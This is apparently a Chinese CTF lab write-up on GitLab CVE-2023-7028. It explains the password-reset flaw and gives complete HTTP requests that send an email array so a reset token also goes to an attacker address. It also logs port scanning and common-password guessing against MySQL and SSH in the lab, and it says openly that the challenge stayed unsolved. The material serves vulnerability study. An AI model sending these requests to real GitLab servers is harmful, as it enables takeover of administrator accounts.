BUUCTF-Real - Web - GitLab CVE-2023-7028 任意密码重置接管

题目信息

项 内容
比赛 BUUCTF-Real(真实漏洞复现)
方向 Web
难度 中等(漏洞利用 + 环境限制)
环境 授权靶场(已脱敏),GitLab CE 16.7.0(平台自建镜像),启动约 5 分钟
Flag 位置 登录 root 后 → 右上角 Snippets → Your snippets → 私有片段「flag」
状态 未解出(隔离环境无法读取重置邮件)

说明:题目 ID、练习场 ID、平台友好编号、环境 UUID、靶标域名与动态端口均已脱敏删除,统一记作「授权靶场(已脱敏)」,占位地址 http://target:8080。

信息收集

1. 环境确认

  • GitLab CE 16.7.0 启动成功,内部地址指向平台自建镜像(已脱敏)。
  • 确认 root 邮箱为 admin@example.com(通过 gravatar MD5 e64c7d89f26bd1972efa854d13d7dd61 匹配头像 URL 得到)。

2. 漏洞触发点确认

/users/password 端点接受 email 数组形式:

请求形式 响应 说明
user[email]=admin@example.com(单值) 200 正常重置流程
user[email][]=admin@example.com&user[email][]=attacker@example.com 200 数组形式,被接受
user[email][0]/[1](显式数字下标) 500 触发不同代码路径(疑似漏洞触发点)
JSON {"user":{"email":["admin@example.com","attacker@example.com"]}} + X-CSRF-Token 200 JSON 数组形式,被接受

关键:JSON 数组需配合正确 CSRF(X-CSRF-Token header 或 body 内 authenticity_token),否则返回 404。

3. 端口扫描结果(已脱敏)

对授权靶场做了全端口探测,开放的多为平台共享基础设施端口(HTTP 入口为动态分配、已脱敏)。结论是:主入口之外还存在 openresty 反代、SSH 转发器、MySQL 等旁路口,但均非当前环境专属且需要凭证。

类别 观察 备注
HTTP 主入口 动态分配端口(已脱敏) GitLab HTTP
反代端口 openresty → 邮件服务返回 502 上游邮件服务未运行
平台路由层 「共享实例」提示 实例路由层
SSH 转发 banner SSH-2.0-CTF2TargetForwarder CTF2 平台端口转发器,需凭证
MySQL 5.7.40,强凭证 常见凭证均 1045 拒绝
其余端口 强制关闭连接/无响应 平台基础设施

4. 邮件读取尝试(全部失败)

  • 无 SMTP(25/587/1025)、POP3(110)、IMAP(143)端口。
  • 无 mailhog / mailpit(8025、15000 API 均 404)。
  • /rails/letter_opener、/letter_opener、/rails/mailers → 均需认证(未启用)。
  • /admin、/admin/application_settings → 需认证。
  • /api/v4/application/settings、/api/v4/projects → 401。
  • GraphQL currentUser / user / users / snippets → 需认证(snippets 返回空)。

5. 注册与凭证尝试(全部失败)

  • 注册返回「awaiting approval from your GitLab administrator」(需管理员审批)。
  • MySQL:root/gitlab/admin/ctf 等 30+ 常见凭证均 1045 拒绝。
  • SSH 转发器:root/ctf/admin/gitlab 等常见凭证均认证失败。

漏洞分析

CVE-2023-7028 原理

GitLab CE < 16.7.1 的 /users/password 端点存在任意密码重置漏洞。根因在 app/controllers/users/passwords_controller.rb 的 create action:

1
2
3
4
5
# 修复前(16.7.0)
user = User.find_by(email: user_params[:email].downcase)

# 修复后(16.7.1)
user = User.find_by(email: user_params[:email].to_s.downcase)

当攻击者把 user[email] 传成数组(如 ["victim@example.com", "attacker@example.com"])时,修复前的代码会把数组直接传给 Devise 的 send_reset_password_instructions,导致重置邮件(含同一个 reset_password_token)被发到数组中的所有邮箱,而不仅是受害者的注册邮箱。

利用链(标准流程)

  1. 攻击者向 /users/password 发送 user[email][] = ["admin@example.com", "attacker@example.com"]。
  2. GitLab 向 root(admin@example.com)与攻击者(attacker@example.com)各发一封含同一 token 的重置邮件。
  3. 攻击者读取自己邮箱,拿到 reset_password_token。
  4. 访问 /users/password/edit?reset_password_token=<token> 设置新密码。
  5. 用新密码登录 root → 读私有 snippet「flag」。

利用过程

标准利用链的前两步(触发 → 向数组内多邮箱发送同一 token)已打通,卡在第三步(攻击者读取自己邮箱的 token)。

补充探测:销毁并重启环境验证邮件服务

为验证「重启后邮件服务是否就绪」这一假设,销毁旧环境并重新启动:

  • 旧环境(HTTP 入口已脱敏)→ 销毁。
  • 新环境(动态分配的新端口,已脱敏)→ 端口动态分配,非固定。

结论:

  • 环境端口是动态分配的,环境详情 access_urls 仅返回单一 GitLab HTTP 入口,无额外邮件/SSH/MySQL 访问地址或凭证。
  • 重启后相关旁路口仍开放,但这是平台共享基础设施端口(非当前环境专属)。
  • 反代邮件服务端口依旧 502(openresty 上游邮件服务始终未运行),说明邮件服务缺失是平台配置层面问题,重启无法解决。
  • 部分端口是机房安全管理系统拦截页(「网站未备案」)或静态 nginx 404,非靶机服务。
  • 反代端口对不同 Host header(localhost / mail.local / mailhog / mailpit / 容器 hostname 等)均 502,非 Host 路由问题。
  • GraphQL 未认证可访问,但 user / users 查询均返回权限错误,无法枚举 root 或读 token。

完整 EXP

CVE 触发请求(标准利用链前两步,已脱敏):

1
2
3
4
5
POST /users/password HTTP/1.1
Host: target:8080
Content-Type: application/x-www-form-urlencoded

user[email][]=admin@example.com&user[email][]=attacker@example.com

JSON 数组形式(需正确 CSRF):

1
2
3
4
5
6
POST /users/password HTTP/1.1
Host: target:8080
Content-Type: application/json
X-CSRF-Token: <csrf_token>

{"user":{"email":["admin@example.com","attacker@example.com"]}}

拿到 token 后重置 root 密码(本环境未走到此步):

1
2
GET /users/password/edit?reset_password_token=<token> HTTP/1.1
Host: target:8080

Flag

(未解出 / 未获取)。本题按 manifest 标记为 unresolved=true:漏洞触发点确认可用,但隔离环境下「重置邮件读取」一环无法从外部攻击面突破,未登录 root、未读到私有 snippet「flag」,此处不编造 flag。

踩坑与总结

核心卡点(未解决):隔离环境无外发邮件,重置 token 邮件无法读取。 需确定的邮件投递/读取机制(任一即可突破):

  1. SSH 端口转发器的凭证 → 转发到容器内网邮件服务。
  2. MySQL 的凭证 → 直接读 users.reset_password_token 或改 root 密码。
  3. 容器内网邮件服务(mailhog / mailpit)的访问方式。

最终结论:

  • 无外发/可读邮件服务(无 SMTP/POP3/IMAP/mailhog/mailpit/letter_opener 入口,反代上游 502)。
  • MySQL、SSH 转发器凭证均未知,且平台规则禁止爆破。
  • GraphQL / API 未认证无法读取 reset_password_token。
  • 平台上该题尚无人解出,且环境要求靶机在线方可提交。

待补充清单:

  • 确定邮件读取机制,拿到 reset_password_token
  • 重置 root 密码并登录
  • 读私有 snippet「flag」,提交 flag

仅记录授权环境下的靶场研究;漏洞触发点已验证,复现受平台隔离环境限制未完成。